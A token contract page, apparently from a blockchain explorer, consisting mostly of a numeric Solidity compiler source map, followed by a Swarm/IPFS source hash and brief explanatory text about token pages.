-1:-1;;;1245:46:0;;5576:2:1;1245:46:0;;;5558:21:1;5615:2;5595:18;;;5588:30;5654:29;5634:18;;;5627:57;5701:18;;1245:46:0;5374:351:1;13934:371:0;-1:-1:-1;;;;;14061:19:0;;14053:68;;;;-1:-1:-1;;;14053:68:0;;5932:2:1;14053:68:0;;;5914:21:1;5971:2;5951:18;;;5944:30;6010:34;5990:18;;;5983:62;-1:-1:-1;;;6061:18:1;;;6054:34;6105:19;;14053:68:0;5730:400:1;14053:68:0;-1:-1:-1;;;;;14140:21:0;;14132:68;;;;-1:-1:-1;;;14132:68:0;;6337:2:1;14132:68:0;;;6319:21:1;6376:2;6356:18;;;6349:30;6415:34;6395:18;;;6388:62;-1:-1:-1;;;6466:18:1;;;6459:32;6508:19;;14132:68:0;6135:398:1;14132:68:0;-1:-1:-1;;;;;14213:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14265:32;;1595:25:1;;;14265:32:0;;1568:18:1;14265:32:0;;;;;;;13934:371;;;:::o;15720:2017::-;15841:4;-1:-1:-1;;;;;15866:20:0;;15858:70;;;;-1:-1:-1;;;15858:70:0;;6740:2:1;15858:70:0;;;6722:21:1;6779:2;6759:18;;;6752:30;6818:34;6798:18;;;6791:62;-1:-1:-1;;;6869:18:1;;;6862:35;6914:19;;15858:70:0;6538:401:1;15858:70:0;-1:-1:-1;;;;;15947:23:0;;15939:71;;;;-1:-1:-1;;;15939:71:0;;7146:2:1;15939:71:0;;;7128:21:1;7185:2;7165:18;;;7158:30;7224:34;7204:18;;;7197:62;-1:-1:-1;;;7275:18:1;;;7268:33;7318:19;;15939:71:0;6944:399:1;15939:71:0;16040:11;;-1:-1:-1;;;;;16027:24:0;;;16040:11;;16027:24;:52;;;;-1:-1:-1;;;;;;16056:23:0;;;;;;:15;:23;;;;;;;;16055:24;16027:52;16023:237;;;-1:-1:-1;;;;;12663:18:0;;16096:15;12663:18;;;:9;:18;;;;;;16150:17;;;16146:103;;16197:36;16208:24;16219:12;;16208:6;:10;;:24;;;;:::i;:::-;16197:6;;:10;:36::i;:::-;16188:45;;16146:103;16081:179;16023:237;16287:11;;-1:-1:-1;;;;;16274:24:0;;;16287:11;;16274:24;:62;;;;-1:-1:-1;;;;;;12663:18:0;;12636:7;12663:18;;;:9;:18;;;;;;16302:34;16274:62;16270:122;;;16368:12;16353;:27;16270:122;16408:16;;;;;;;16404:1326;;;16448:41;16463:6;16471:9;16482:6;16448:14;:41::i;:::-;16441:48;;;;16404:1326;16571:4;16522:28;12663:18;;;:9;:18;;;;;;16664:23;;16623:64;;;;;;;16726:61;;-1:-1:-1;16771:16:0;;;;;;;16770:17;16726:61;:104;;;;-1:-1:-1;;;;;;16809:21:0;;;;;;:13;:21;;;;;;;;16808:22;16726:104;16704:295;;;16887:15;;-1:-1:-1;;;;;16869:34:0;;;16887:15;;16869:34;16865:119;;16928:36;16943:20;16928:14;:36::i;:::-;17035:102;;;;;;;;;;;-1:-1:-1;;;17035:102:0;;;;;;;;-1:-1:-1;;;;;17035:17:0;;-1:-1:-1;17035:17:0;;;:9;:17;;;;;;;;:102;;17075:6;;17035:21;:102::i;:::-;-1:-1:-1;;;;;17015:17:0;;;;;;:9;:17;;;;;;;;:122;;;;17177:17;:25;;;;;;;;;:74;;-1:-1:-1;;;;;;17223:28:0;;;;;;:17;:28;;;;;;;;17177:74;17176:156;;17298:34;17306:6;17314:9;17325:6;17298:7;:34::i;:::-;17176:156;;;17272:6;17176:156;-1:-1:-1;;;;;17372:20:0;;;;;;:9;:20;;;;;;17154:178;;-1:-1:-1;17372:37:0;;17154:178;17372:24;:37::i;:::-;-1:-1:-1;;;;;17349:20:0;;;;;;;:9;:20;;;;;;;:60;;;;17431:40;;;;;;;;;;17459:11;1595:25:1;;1583:2;1568:18;;1449:177;17431:40:0;;;;;;;;17539:9;;17524:12;;:24;;;;:::i;:::-;17508:12;:41;:83;;;;-1:-1:-1;17580:11:0;;-1:-1:-1;;;;;17570:21:0;;;17580:11;;17570:21;17508:83;17486:207;;;17626:51;17641:9;17652:11;17665;17626:14;:51::i;:::-;;17486:207;17714:4;17707:11;;;;;;;1472:226;1592:7;1628:12;1620:6;;;;1612:29;;;;-1:-1:-1;;;1612:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1652:9:0;1664:5;1668:1;1664;:5;:::i;:::-;1652:17;1472:226;-1:-1:-1;;;;;1472:226:0:o;1328:136::-;1386:7;1413:43;1417:1;1420;1413:43;;;;;;;;;;;;;;;;;:3;:43::i;1964:132::-;2022:7;2049:39;2053:1;2056;2049:39;;;;;;;;;;;;;;;;;:3;:39::i;17745:401::-;17909:90;;;;;;;;;;;-1:-1:-1;;;17909:90:0;;;;;;;;-1:-1:-1;;;;;17909:17:0;;17872:4;17909:17;;;:9;:17;;;;;;;:90;;17945:6;;17909:21;:90::i;:::-;-1:-1:-1;;;;;17889:17:0;;;;;;;:9;:17;;;;;;:110;;;;18033:20;;;;;;;:32;;18058:6;18033:24;:32::i;:::-;-1:-1:-1;;;;;18010:20:0;;;;;;;:9;:20;;;;;;;:55;;;;18081:35;;;;;;;;;;18109:6;1595:25:1;;1583:2;1568:18;;1449:177;18081:35:0;;;;;;;;-1:-1:-1;18134:4:0;17745:401;;;;;:::o;18154:1215::-;10786:16;:23;;-1:-1:-1;;10786:23:0;;;;;18309:24:::1;::::0;18274:15:::1;::::0;10786:23;;18248:107:::1;::::0;18353:1:::1;::::0;18248:86:::1;::::0;;;:7;;:25:::1;:42::i;:::-;:60:::0;::::1;:86::i;:107::-;18226:129:::0;-1:-1:-1;18366:21:0::1;18390:24;:7:::0;18226:129;18390:11:::1;:24::i;:::-;18366:48;;18427:31;18444:13;18427:16;:31::i;:::-;18594:15;::::0;18494:21:::1;::::0;18469:22:::1;::::0;18551:76:::1;::::0;18594:22:::1;::::0;18614:1:::1;18594:19;:22::i;:::-;18551:24;::::0;;:28:::1;:76::i;:::-;18528:99;;18640:27;18670:102;18770:1;18670:81;18738:12;18670:49;18703:15;;18670:14;:32;;:49;;;;:::i;:102::-;18640:132;;18783:24;18810:74;18861:12;18810:32;18829:12;;18810:14;:18;;:32;;;;:::i;:74::-;18783:101:::0;-1:-1:-1;18895:27:0::1;18925:85;18783:101:::0;18925:39:::1;:14:::0;18944:19;18925:18:::1;:39::i;:::-;:43:::0;::::1;:85::i;:::-;18895:115:::0;-1:-1:-1;19027:23:0;;19023:107:::1;;19086:22;::::0;19065:65:::1;::::0;19086:22:::1;::::0;::::1;-1:-1:-1::0;;;;;19086:22:0::1;19110:19:::0;19065:20:::1;:65::i;:::-;19147:20:::0;;19143:98:::1;;19203:19;::::0;19182:59:::1;::::0;-1:-1:-1;;;;;19203:19:0::1;19224:16:::0;19182:20:::1;:59::i;:::-;19280:1;19258:19;:23;:42;;;;;19299:1;19285:11;:15;19258:42;19254:107;;;19315:46;19328:11;19341:19;19315:12;:46::i;:::-;-1:-1:-1::0;;10832:16:0;:24;;-1:-1:-1;;10832:24:0;;;-1:-1:-1;;;;;;18154:1215:0:o;20294:926::-;-1:-1:-1;;;;;20470:21:0;;20414:7;20470:21;;;:13;:21;;;;;;20414:7;;20470:21;;20466:512;;;20520:38;20554:3;20520:29;20531:17;;20520:6;:10;;:29;;;;:::i;:38::-;20508:50;;20466:512;;;-1:-1:-1;;;;;20580:24:0;;;;;;:13;:24;;;;;;;;20576:402;;;20633:39;20668:3;20633:30;20644:18;;20633:6;:10;;:30;;;;:::i;:39::-;20621:51;-1:-1:-1;20688:10:0;;20713:199;20729:11;;20725:1;:15;20713:199;;20800:44;;;;;;7664:19:1;;;7699:12;;;7692:28;;;20828:15:0;7736:12:1;;;7729:28;7773:12;;20800:44:0;;;;;;;;;;;;20790:55;;;;;;20785:61;;20764:84;;20867:29;20882:6;20889:2;20892:3;20867:14;:29::i;:::-;-1:-1:-1;20741:3:0;;;;:::i;:::-;;;;20713:199;;;;20926:40;20945:11;;20957:1;20945:13;;;;:::i;:::-;20937:28;;20962:3;20937:28;:::i;:::-;20926:6;;:10;:40::i;:::-;;20606:372;20576:402;20994:13;;20990:174;;21069:4;21051:24;;;;:9;:24;;;;;;:39;;21080:9;21051:28;:39::i;:::-;21042:4;21024:24;;;;:9;:24;;;;;;;:66;;;;21110:42;;-1:-1:-1;;;;;21110:42:0;;;;;;;21142:9;1595:25:1;;1583:2;1568:18;;1449:177;21110:42:0;;;;;;;;20990:174;21191:21;:6;21202:9;21191:10;:21::i;2104:312::-;2224:7;2259:12;2252:5;2244:28;;;;-1:-1:-1;;;2244:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2283:9:0;2295:5;2299:1;2295;:5;:::i;1706:250::-;1764:7;1788:1;1793;1788:6;1784:47;;-1:-1:-1;1818:1:0;1811:8;;1784:47;1843:9;1855:5;1859:1;1855;:5;:::i;:::-;1843:17;-1:-1:-1;1888:1:0;1879:5;1883:1;1843:17;1879:5;:::i;:::-;:10;1871:56;;;;-1:-1:-1;;;1871:56:0;;8766:2:1;1871:56:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:31;8936:19;;1871:56:0;8564:397:1;19381:522:0;19471:16;;;19485:1;19471:16;;;;;;;;19447:21;;19471:16;;;;;;;;;;-1:-1:-1;19471:16:0;19447:40;;19516:4;19498;19503:1;19498:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19498:23:0;;;:7;;;;;;;;;;:23;;;;19542:15;;:22;;;-1:-1:-1;;;19542:22:0;;;;:15;;;;;:20;;:22;;;;;19498:7;;19542:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19532:4;19537:1;19532:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19532:32:0;;;:7;;;;;;;;;:32;19607:15;;19575:62;;19592:4;;19607:15;19625:11;19575:8;:62::i;:::-;19648:15;;:196;;-1:-1:-1;;;19648:196:0;;-1:-1:-1;;;;;19648:15:0;;;;:66;;:196;;19729:11;;19648:15;;19771:4;;19798;;19818:15;;19648:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19860:35;19877:11;19890:4;19860:35;;;;;;;:::i;:::-;;;;;;;;19436:467;19381:522;:::o;14818:140::-;14924:26;;-1:-1:-1;;;;;14924:18:0;;;:26;;;;;14943:6;;14924:26;;;;14943:6;14924:18;:26;;;;;;;;;;;;;;;;;;;;;14818:140;;:::o;19911:375::-;20024:15;;19992:62;;20009:4;;-1:-1:-1;;;;;20024:15:0;20042:11;19992:8;:62::i;:::-;20065:15;;20215:22;;20065:213;;-1:-1:-1;;;20065:213:0;;20137:4;20065:213;;;11225:34:1;11275:18;;;11268:34;;;-1:-1:-1;11318:18:1;;;11311:34;;;11361:18;;;11354:34;-1:-1:-1;;;;;20065:15:0;20215:22;;;;;11404:19:1;;;11397:44;20252:15:0;11457:19:1;;;11450:35;20065:15:0;;;:31;;20104:9;;11159:19:1;;20065:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;19911:375;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2669:247::-;2728:6;2781:2;2769:9;2760:7;2756:23;2752:32;2749:52;;;2797:1;2794;2787:12;2749:52;2836:9;2823:23;2855:31;2880:5;2855:31;:::i;2921:416::-;2986:6;2994;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;3102:9;3089:23;3121:31;3146:5;3121:31;:::i;:::-;3171:5;-1:-1:-1;3228:2:1;3213:18;;3200:32;3270:15;;3263:23;3251:36;;3241:64;;3301:1;3298;3291:12;3241:64;3324:7;3314:17;;;2921:416;;;;;:::o;3566:388::-;3634:6;3642;3695:2;3683:9;3674:7;3670:23;3666:32;3663:52;;;3711:1;3708;3701:12;3663:52;3750:9;3737:23;3769:31;3794:5;3769:31;:::i;:::-;3819:5;-1:-1:-1;3876:2:1;3861:18;;3848:32;3889:33;3848:32;3889:33;:::i;3959:380::-;4038:1;4034:12;;;;4081;;;4102:61;;4156:4;4148:6;4144:17;4134:27;;4102:61;4209:2;4201:6;4198:14;4178:18;4175:38;4172:161;;4255:10;4250:3;4246:20;4243:1;4236:31;4290:4;4287:1;4280:15;4318:4;4315:1;4308:15;4172:161;;3959:380;;;:::o;4344:356::-;4546:2;4528:21;;;4565:18;;;4558:30;4624:34;4619:2;4604:18;;4597:62;4691:2;4676:18;;4344:356::o;5112:127::-;5173:10;5168:3;5164:20;5161:1;5154:31;5204:4;5201:1;5194:15;5228:4;5225:1;5218:15;5244:125;5309:9;;;5330:10;;;5327:36;;;5343:18;;:::i;7348:128::-;7415:9;;;7436:11;;;7433:37;;;7450:18;;:::i;7796:147::-;7834:3;-1:-1:-1;;;;;7855:30:1;;7852:56;;7888:18;;:::i;:::-;-1:-1:-1;7935:1:1;7924:13;;7796:147::o;7948:216::-;8012:9;;;8040:11;;;7987:3;8070:9;;8098:10;;8094:19;;8123:10;;8115:19;;8091:44;8088:70;;;8138:18;;:::i;:::-;8088:70;;7948:216;;;;:::o;8169:168::-;8209:7;8275:1;8271;8267:6;8263:14;8260:1;8257:21;8252:1;8245:9;8238:17;8234:45;8231:71;;;8282:18;;:::i;:::-;-1:-1:-1;8322:9:1;;8169:168::o;8342:217::-;8382:1;8408;8398:132;;8452:10;8447:3;8443:20;8440:1;8433:31;8487:4;8484:1;8477:15;8515:4;8512:1;8505:15;8398:132;-1:-1:-1;8544:9:1;;8342:217::o;9098:127::-;9159:10;9154:3;9150:20;9147:1;9140:31;9190:4;9187:1;9180:15;9214:4;9211:1;9204:15;9230:251;9300:6;9353:2;9341:9;9332:7;9328:23;9324:32;9321:52;;;9369:1;9366;9359:12;9321:52;9401:9;9395:16;9420:31;9445:5;9420:31;:::i;9486:461::-;9539:3;9577:5;9571:12;9604:6;9599:3;9592:19;9630:4;9659:2;9654:3;9650:12;9643:19;;9696:2;9689:5;9685:14;9717:1;9727:195;9741:6;9738:1;9735:13;9727:195;;;9806:13;;-1:-1:-1;;;;;9802:39:1;9790:52;;9862:12;;;;9897:15;;;;9838:1;9756:9;9727:195;;;-1:-1:-1;9938:3:1;;9486:461;-1:-1:-1;;;;;9486:461:1:o;9952:582::-;10251:6;10240:9;10233:25;10294:6;10289:2;10278:9;10274:18;10267:34;10337:3;10332:2;10321:9;10317:18;10310:31;10214:4;10358:57;10410:3;10399:9;10395:19;10387:6;10358:57;:::i;:::-;-1:-1:-1;;;;;10451:32:1;;;;10446:2;10431:18;;10424:60;-1:-1:-1;10515:3:1;10500:19;10493:35;10350:65;9952:582;-1:-1:-1;;;9952:582:1:o;10539:332::-;10746:6;10735:9;10728:25;10789:2;10784;10773:9;10769:18;10762:30;10709:4;10809:56;10861:2;10850:9;10846:18;10838:6;10809:56;:::i;:::-;10801:64;10539:332;-1:-1:-1;;;;10539:332:1:o;11496:306::-;11584:6;11592;11600;11653:2;11641:9;11632:7;11628:23;11624:32;11621:52;;;11669:1;11666;11659:12;11621:52;11698:9;11692:16;11682:26;;11748:2;11737:9;11733:18;11727:25;11717:35;;11792:2;11781:9;11777:18;11771:25;11761:35;;11496:306;;;;;:::o
Swarm Source
ipfs://20a823304bd6319d6bc8342379212676befbbf4cbdf3b2a0ab0a8d6382b6f328
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.